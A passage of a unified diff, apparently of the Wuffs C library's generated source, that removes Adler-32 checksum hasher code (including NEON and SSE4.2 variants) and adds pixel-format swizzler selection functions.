WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBX: ++ return wuffs_private_impl__swizzle_rgbw__bgr_565; ++ } ++ return NULL; ++} + +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_adler32__hasher__up_x86_sse42( +- wuffs_adler32__hasher* self, +- wuffs_base__slice_u8 a_x); +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) ++static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // ++wuffs_private_impl__pixel_swizzler__prepare__bgr( ++ wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_format dst_pixfmt, ++ wuffs_base__slice_u8 dst_palette, ++ wuffs_base__slice_u8 src_palette, ++ wuffs_base__pixel_blend blend) { ++ switch (dst_pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ return wuffs_private_impl__swizzle_bgr_565__bgr; + +-// ---------------- VTables ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ return wuffs_private_impl__swizzle_copy_3_3; + +-const wuffs_base__hasher_u32__func_ptrs +-wuffs_adler32__hasher__func_ptrs_for__wuffs_base__hasher_u32 = { +- (uint32_t(*)(const void*))(&wuffs_adler32__hasher__checksum_u32), +- (uint64_t(*)(const void*, +- uint32_t))(&wuffs_adler32__hasher__get_quirk), +- (wuffs_base__status(*)(void*, +- uint32_t, +- uint64_t))(&wuffs_adler32__hasher__set_quirk), +- (wuffs_base__empty_struct(*)(void*, +- wuffs_base__slice_u8))(&wuffs_adler32__hasher__update), +- (uint32_t(*)(void*, +- wuffs_base__slice_u8))(&wuffs_adler32__hasher__update_u32), +-}; ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRX: ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ if (wuffs_base__cpu_arch__have_x86_sse42()) { ++ return wuffs_private_impl__swizzle_bgrw__bgr__x86_sse42; ++ } ++#endif ++ return wuffs_private_impl__swizzle_bgrw__bgr; + +-// ---------------- Initializer Implementations ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE: ++ return wuffs_private_impl__swizzle_bgrw_4x16le__bgr; + +-wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_adler32__hasher__initialize( +- wuffs_adler32__hasher* self, +- size_t sizeof_star_self, +- uint64_t wuffs_version, +- uint32_t options){ +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (sizeof(*self) != sizeof_star_self) { +- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); +- } +- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || +- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { +- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); +- } ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ return wuffs_private_impl__swizzle_swap_rgb_bgr; + +- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { +- // The whole point of this if-check is to detect an uninitialized *self. +- // We disable the warning on GCC. Clang-5.0 does not have this warning. +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" +-#endif +- if (self->private_impl.magic != 0) { +- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); +- } +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic pop ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBX: ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ if (wuffs_base__cpu_arch__have_x86_sse42()) { ++ return wuffs_private_impl__swizzle_bgrw__rgb__x86_sse42; ++ } + #endif +- } else { +- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { +- memset(self, 0, sizeof(*self)); +- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; +- } else { +- memset(&(self->private_impl), 0, sizeof(self->private_impl)); +- } ++ return wuffs_private_impl__swizzle_bgrw__rgb; + } ++ return NULL; ++} + +- self->private_impl.choosy_up = &wuffs_adler32__hasher__up__choosy_default; ++static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // ++wuffs_private_impl__pixel_swizzler__prepare__bgra_nonpremul( ++ wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_format dst_pixfmt, ++ wuffs_base__slice_u8 dst_palette, ++ wuffs_base__slice_u8 src_palette, ++ wuffs_base__pixel_blend blend) { ++ switch (dst_pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__Y: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_y__bgra_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_y__bgra_nonpremul__src_over; ++ } ++ return NULL; + +- self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__hasher_u32.vtable_name = +- wuffs_base__hasher_u32__vtable_name; +- self->private_impl.vtable_for__wuffs_base__hasher_u32.function_pointers = +- (const void*)(&wuffs_adler32__hasher__func_ptrs_for__wuffs_base__hasher_u32); +- return wuffs_base__make_status(NULL); +-} ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr_565__bgra_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr_565__bgra_nonpremul__src_over; ++ } ++ return NULL; + +-wuffs_adler32__hasher* +-wuffs_adler32__hasher__alloc(void) { +- wuffs_adler32__hasher* x = +- (wuffs_adler32__hasher*)(calloc(sizeof(wuffs_adler32__hasher), 1)); +- if (!x) { +- return NULL; +- } +- if (wuffs_adler32__hasher__initialize( +- x, sizeof(wuffs_adler32__hasher), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { +- free(x); +- return NULL; +- } +- return x; +-} ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr__bgra_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr__bgra_nonpremul__src_over; ++ } ++ return NULL; + +-size_t +-sizeof__wuffs_adler32__hasher(void) { +- return sizeof(wuffs_adler32__hasher); +-} ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_copy_4_4; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__bgra_nonpremul__src_over; ++ } ++ return NULL; + +-// ---------------- Function Implementations ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__bgra_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__bgra_nonpremul__src_over; ++ } ++ return NULL; + +-// -------- func adler32.hasher.get_quirk ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_adler32__hasher__get_quirk( +- const wuffs_adler32__hasher* self, +- uint32_t a_key) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRX: ++ // TODO. ++ break; + +- return 0u; +-} ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr__rgba_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr__rgba_nonpremul__src_over; ++ } ++ return NULL; + +-// -------- func adler32.hasher.set_quirk ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ if (wuffs_base__cpu_arch__have_x86_sse42()) { ++ return wuffs_private_impl__swizzle_swap_rgbx_bgrx__x86_sse42; ++ } ++#endif ++ return wuffs_private_impl__swizzle_swap_rgbx_bgrx; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__rgba_nonpremul__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_adler32__hasher__set_quirk( +- wuffs_adler32__hasher* self, +- uint32_t a_key, +- uint64_t a_value) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul__src_over; ++ } ++ return NULL; + +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBX: ++ // TODO. ++ break; ++ } ++ return NULL; + } + +-// -------- func adler32.hasher.update ++static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // ++wuffs_private_impl__pixel_swizzler__prepare__bgra_nonpremul_4x16le( ++ wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_format dst_pixfmt, ++ wuffs_base__slice_u8 dst_palette, ++ wuffs_base__slice_u8 src_palette, ++ wuffs_base__pixel_blend blend) { ++ switch (dst_pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr_565__bgra_nonpremul_4x16le__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr_565__bgra_nonpremul_4x16le__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_adler32__hasher__update( +- wuffs_adler32__hasher* self, +- wuffs_base__slice_u8 a_x) { +- if (!self) { +- return wuffs_base__make_empty_struct(); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_empty_struct(); +- } ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr__bgra_nonpremul_4x16le__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr__bgra_nonpremul_4x16le__src_over; ++ } ++ return NULL; + +- if ( ! self->private_impl.f_started) { +- self->private_impl.f_started = true; +- self->private_impl.f_state = 1u; +- self->private_impl.choosy_up = ( +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +- wuffs_base__cpu_arch__have_arm_neon() ? &wuffs_adler32__hasher__up_arm_neon : +-#endif +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_adler32__hasher__up_x86_sse42 : +-#endif +- self->private_impl.choosy_up); +- } +- wuffs_adler32__hasher__up(self, a_x); +- return wuffs_base__make_empty_struct(); +-} ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__bgra_nonpremul_4x16le__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__bgra_nonpremul_4x16le__src_over; ++ } ++ return NULL; + +-// -------- func adler32.hasher.update_u32 ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_copy_8_8; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__bgra_nonpremul_4x16le__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_adler32__hasher__update_u32( +- wuffs_adler32__hasher* self, +- wuffs_base__slice_u8 a_x) { +- if (!self) { +- return 0; +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return 0; +- } ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul_4x16le__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul_4x16le__src_over; ++ } ++ return NULL; + +- wuffs_adler32__hasher__update(self, a_x); +- return self->private_impl.f_state; +-} ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRX: ++ // TODO. ++ break; + +-// -------- func adler32.hasher.up ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr__rgba_nonpremul_4x16le__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr__rgba_nonpremul_4x16le__src_over; ++ } ++ return NULL; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_adler32__hasher__up( +- wuffs_adler32__hasher* self, +- wuffs_base__slice_u8 a_x) { +- return (*self->private_impl.choosy_up)(self, a_x); ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_rgba_nonpremul__bgra_nonpremul_4x16le__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_rgba_nonpremul__bgra_nonpremul_4x16le__src_over; ++ } ++ break; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul_4x16le__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul_4x16le__src_over; ++ } ++ return NULL; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBX: ++ // TODO. ++ break; ++ } ++ return NULL; + } + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_adler32__hasher__up__choosy_default( +- wuffs_adler32__hasher* self, +- wuffs_base__slice_u8 a_x) { +- uint32_t v_s1 = 0; +- uint32_t v_s2 = 0; +- wuffs_base__slice_u8 v_remaining = {0}; +- wuffs_base__slice_u8 v_p = {0}; +- +- v_s1 = ((self->private_impl.f_state) & 0xFFFFu); +- v_s2 = ((self->private_impl.f_state) >> (32u - 16u)); +- while (((uint64_t)(a_x.len)) > 0u) { +- v_remaining = wuffs_base__slice_u8__subslice_j(a_x, 0u); +- if (((uint64_t)(a_x.len)) > 5552u) { +- v_remaining = wuffs_base__slice_u8__subslice_i(a_x, 5552u); +- a_x = wuffs_base__slice_u8__subslice_j(a_x, 5552u); +- } +- { +- wuffs_base__slice_u8 i_slice_p = a_x; +- v_p.ptr = i_slice_p.ptr; +- v_p.len = 1; +- uint8_t* i_end0_p = v_p.ptr + (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 8) * 8); +- while (v_p.ptr < i_end0_p) { +- v_s1 += ((uint32_t)(v_p.ptr[0u])); +- v_s2 += v_s1; +- v_p.ptr += 1; +- v_s1 += ((uint32_t)(v_p.ptr[0u])); +- v_s2 += v_s1; +- v_p.ptr += 1; +- v_s1 += ((uint32_t)(v_p.ptr[0u])); +- v_s2 += v_s1; +- v_p.ptr += 1; +- v_s1 += ((uint32_t)(v_p.ptr[0u])); +- v_s2 += v_s1; +- v_p.ptr += 1; +- v_s1 += ((uint32_t)(v_p.ptr[0u])); +- v_s2 += v_s1; +- v_p.ptr += 1; +- v_s1 += ((uint32_t)(v_p.ptr[0u])); +- v_s2 += v_s1; +- v_p.ptr += 1; +- v_s1 += ((uint32_t)(v_p.ptr[0u])); +- v_s2 += v_s1; +- v_p.ptr += 1; +- v_s1 += ((uint32_t)(v_p.ptr[0u])); +- v_s2 += v_s1; +- v_p.ptr += 1; +- } +- v_p.len = 1; +- uint8_t* i_end1_p = i_slice_p.ptr + i_slice_p.len; +- while (v_p.ptr < i_end1_p) { +- v_s1 += ((uint32_t)(v_p.ptr[0u])); +- v_s2 += v_s1; +- v_p.ptr += 1; ++static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // ++wuffs_private_impl__pixel_swizzler__prepare__bgra_premul( ++ wuffs_base__pixel_swizzler* p, ++ wuffs_base__pixel_format dst_pixfmt, ++ wuffs_base__slice_u8 dst_palette, ++ wuffs_base__slice_u8 src_palette, ++ wuffs_base__pixel_blend blend) { ++ switch (dst_pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr_565__bgra_premul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr_565__bgra_premul__src_over; + } +- v_p.len = 0; +- } +- v_s1 %= 65521u; +- v_s2 %= 65521u; +- a_x = v_remaining; +- } +- self->private_impl.f_state = (((v_s2 & 65535u) << 16u) | (v_s1 & 65535u)); +- return wuffs_base__make_empty_struct(); +-} +- +-// -------- func adler32.hasher.checksum_u32 +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_adler32__hasher__checksum_u32( +- const wuffs_adler32__hasher* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- return self->private_impl.f_state; +-} +- +-// ‼ WUFFS MULTI-FILE SECTION +arm_neon +-// -------- func adler32.hasher.up_arm_neon ++ return NULL; + +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_adler32__hasher__up_arm_neon( +- wuffs_adler32__hasher* self, +- wuffs_base__slice_u8 a_x) { +- uint32_t v_s1 = 0; +- uint32_t v_s2 = 0; +- wuffs_base__slice_u8 v_remaining = {0}; +- wuffs_base__slice_u8 v_p = {0}; +- uint8x16_t v_p__left = {0}; +- uint8x16_t v_p_right = {0}; +- uint32x4_t v_v1 = {0}; +- uint32x4_t v_v2 = {0}; +- uint16x8_t v_col0 = {0}; +- uint16x8_t v_col1 = {0}; +- uint16x8_t v_col2 = {0}; +- uint16x8_t v_col3 = {0}; +- uint32x2_t v_sum1 = {0}; +- uint32x2_t v_sum2 = {0}; +- uint32x2_t v_sum12 = {0}; +- uint32_t v_num_iterate_bytes = 0; +- uint64_t v_tail_index = 0; ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr__bgra_premul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr__bgra_premul__src_over; ++ } ++ return NULL; + +- v_s1 = ((self->private_impl.f_state) & 0xFFFFu); +- v_s2 = ((self->private_impl.f_state) >> (32u - 16u)); +- while ((((uint64_t)(a_x.len)) > 0u) && ((15u & ((uint32_t)(0xFFFu & (uintptr_t)(a_x.ptr)))) != 0u)) { +- v_s1 += ((uint32_t)(a_x.ptr[0u])); +- v_s2 += v_s1; +- a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); +- } +- v_s1 %= 65521u; +- v_s2 %= 65521u; +- while (((uint64_t)(a_x.len)) > 0u) { +- v_remaining = wuffs_base__slice_u8__subslice_j(a_x, 0u); +- if (((uint64_t)(a_x.len)) > 5536u) { +- v_remaining = wuffs_base__slice_u8__subslice_i(a_x, 5536u); +- a_x = wuffs_base__slice_u8__subslice_j(a_x, 5536u); +- } +- v_num_iterate_bytes = ((uint32_t)((((uint64_t)(a_x.len)) & 4294967264u))); +- v_s2 += ((uint32_t)(v_s1 * v_num_iterate_bytes)); +- v_v1 = vdupq_n_u32(0u); +- v_v2 = vdupq_n_u32(0u); +- v_col0 = vdupq_n_u16(0u); +- v_col1 = vdupq_n_u16(0u); +- v_col2 = vdupq_n_u16(0u); +- v_col3 = vdupq_n_u16(0u); +- { +- wuffs_base__slice_u8 i_slice_p = a_x; +- v_p.ptr = i_slice_p.ptr; +- v_p.len = 32; +- uint8_t* i_end0_p = v_p.ptr + (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 32) * 32); +- while (v_p.ptr < i_end0_p) { +- v_p__left = vld1q_u8(v_p.ptr); +- v_p_right = vld1q_u8(v_p.ptr + 16u); +- v_v2 = vaddq_u32(v_v2, v_v1); +- v_v1 = vpadalq_u16(v_v1, vpadalq_u8(vpaddlq_u8(v_p__left), v_p_right)); +- v_col0 = vaddw_u8(v_col0, vget_low_u8(v_p__left)); +- v_col1 = vaddw_u8(v_col1, vget_high_u8(v_p__left)); +- v_col2 = vaddw_u8(v_col2, vget_low_u8(v_p_right)); +- v_col3 = vaddw_u8(v_col3, vget_high_u8(v_p_right)); +- v_p.ptr += 32; ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__bgra_premul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul__bgra_premul__src_over; + } +- v_p.len = 0; +- } +- v_v2 = vshlq_n_u32(v_v2, 5u); +- v_v2 = vmlal_u16(v_v2, vget_low_u16(v_col0), ((uint16x4_t){32u, 31u, 30u, 29u})); +- v_v2 = vmlal_u16(v_v2, vget_high_u16(v_col0), ((uint16x4_t){28u, 27u, 26u, 25u})); +- v_v2 = vmlal_u16(v_v2, vget_low_u16(v_col1), ((uint16x4_t){24u, 23u, 22u, 21u})); +- v_v2 = vmlal_u16(v_v2, vget_high_u16(v_col1), ((uint16x4_t){20u, 19u, 18u, 17u})); +- v_v2 = vmlal_u16(v_v2, vget_low_u16(v_col2), ((uint16x4_t){16u, 15u, 14u, 13u})); +- v_v2 = vmlal_u16(v_v2, vget_high_u16(v_col2), ((uint16x4_t){12u, 11u, 10u, 9u})); +- v_v2 = vmlal_u16(v_v2, vget_low_u16(v_col3), ((uint16x4_t){8u, 7u, 6u, 5u})); +- v_v2 = vmlal_u16(v_v2, vget_high_u16(v_col3), ((uint16x4_t){4u, 3u, 2u, 1u})); +- v_sum1 = vpadd_u32(vget_low_u32(v_v1), vget_high_u32(v_v1)); +- v_sum2 = vpadd_u32(vget_low_u32(v_v2), vget_high_u32(v_v2)); +- v_sum12 = vpadd_u32(v_sum1, v_sum2); +- v_s1 += vget_lane_u32(v_sum12, 0u); +- v_s2 += vget_lane_u32(v_sum12, 1u); +- v_tail_index = (((uint64_t)(a_x.len)) & 18446744073709551584u); +- if (v_tail_index < ((uint64_t)(a_x.len))) { +- { +- wuffs_base__slice_u8 i_slice_p = wuffs_base__slice_u8__subslice_i(a_x, v_tail_index); +- v_p.ptr = i_slice_p.ptr; +- v_p.len = 1; +- uint8_t* i_end0_p = i_slice_p.ptr + i_slice_p.len; +- while (v_p.ptr < i_end0_p) { +- v_s1 += ((uint32_t)(v_p.ptr[0u])); +- v_s2 += v_s1; +- v_p.ptr += 1; +- } +- v_p.len = 0; ++ return NULL; ++ ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__bgra_premul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__bgra_premul__src_over; + } +- } +- v_s1 %= 65521u; +- v_s2 %= 65521u; +- a_x = v_remaining; +- } +- self->private_impl.f_state = (((v_s2 & 65535u) << 16u) | (v_s1 & 65535u)); +- return wuffs_base__make_empty_struct(); +-} +-#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +-// ‼ WUFFS MULTI-FILE SECTION -arm_neon ++ return NULL; + +-// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 +-// -------- func adler32.hasher.up_x86_sse42 ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_copy_4_4; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgra_premul__bgra_premul__src_over; ++ } ++ return NULL; + +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_adler32__hasher__up_x86_sse42( +- wuffs_adler32__hasher* self, +- wuffs_base__slice_u8 a_x) { +- uint32_t v_s1 = 0; +- uint32_t v_s2 = 0; +- wuffs_base__slice_u8 v_remaining = {0}; +- wuffs_base__slice_u8 v_p = {0}; +- __m128i v_zeroes = {0}; +- __m128i v_ones = {0}; +- __m128i v_weights__left = {0}; +- __m128i v_weights_right = {0}; +- __m128i v_q__left = {0}; +- __m128i v_q_right = {0}; +- __m128i v_v1 = {0}; +- __m128i v_v2 = {0}; +- __m128i v_v2j = {0}; +- __m128i v_v2k = {0}; +- uint32_t v_num_iterate_bytes = 0; +- uint64_t v_tail_index = 0; ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ switch (blend) { ++ case WUFFS_BASE__PIXEL_BLEND__SRC: ++ return wuffs_private_impl__swizzle_bgr__rgba_premul__src; ++ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: ++ return wuffs_private_impl__swizzle_bgr__rgba_premul__src_over; ++ } ++ return NULL; + +- v_zeroes = _mm_set1_epi16((int16_t)(0u)); +- v_ones = _mm_set1_epi16((int16_t)(1u)); +- v_weights__left = _mm_set_epi8((int8_t)(17u), (int8_t)(18u), (int8_t)(19u), (int8_t)(20u), (int8_t)(21u), (int8_t)(22u), (int8_t)(23u), (int8_t)(24u), (int8_t)(25u), (int8_t)(26u), (int8_t)(27u), (int8_t)(28u), (int8_t)(29u), (int8_t)(30u), (int8_t)(31u), (int8_t)(32u)); +- v_weights_right = 